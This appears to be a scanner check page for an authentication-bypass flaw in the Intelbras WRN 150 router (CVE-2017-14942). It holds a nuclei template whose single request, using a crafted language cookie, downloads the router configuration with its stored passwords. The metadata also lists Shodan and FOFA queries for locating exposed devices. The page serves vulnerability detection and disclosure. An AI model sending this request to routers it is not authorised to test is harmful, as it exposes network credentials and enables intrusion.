Intelbras WRN 150 - Authentication Bypass

criticalseverity

9.8CVSS score

60.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Intelbras WRN 150 router is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication and download the router configuration file by manipulating the admin:language cookie.

Impact

Attackers can bypass authentication and download the router configuration file containing credentials, network settings, and sensitive information, potentially leading to complete network compromise.

Fix

Update the router firmware to the latest version.

How to confirm it

Send: GET /cgi-bin/DownloadCfg/RouterCfm.cfg
Positive when: contains(content_type, 'config/conf') and contains_all(body, 'wl_', '_passwd') and status_code==200

Run it with nuclei: nuclei -id CVE-2017-14942 -u <target>

The full check

id: CVE-2017-14942

info:
  name: Intelbras WRN 150 - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    Intelbras WRN 150 router is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication and download the router configuration file by manipulating the admin:language cookie.
  impact: |
    Attackers can bypass authentication and download the router configuration file containing credentials, network settings, and sensitive information, potentially leading to complete network compromise.
  remediation: |
    Update the router firmware to the latest version.
  reference:
    - https://www.exploit-db.com/exploits/42916
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14942
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-14942
    cwe-id: CWE-552
    epss-score: 0.60857
    epss-percentile: 0.99158
    cpe: cpe:2.3:h:intelbras:wrn150:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: intelbras
    product: wrn150
    shodan-query: html:"WRN150"
    fofa-query: title="WRN150"
  tags: cve,cve2017,intelbras,auth-bypass,router,vuln

http:
  - raw:
      - |
        GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.1
        Host: {{Hostname}}
        Cookie: admin:language=pt

    matchers:
      - type: dsl
        dsl:
          - "contains(content_type, 'config/conf')"
          - "contains_all(body, 'wl_', '_passwd')"
          - "status_code==200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from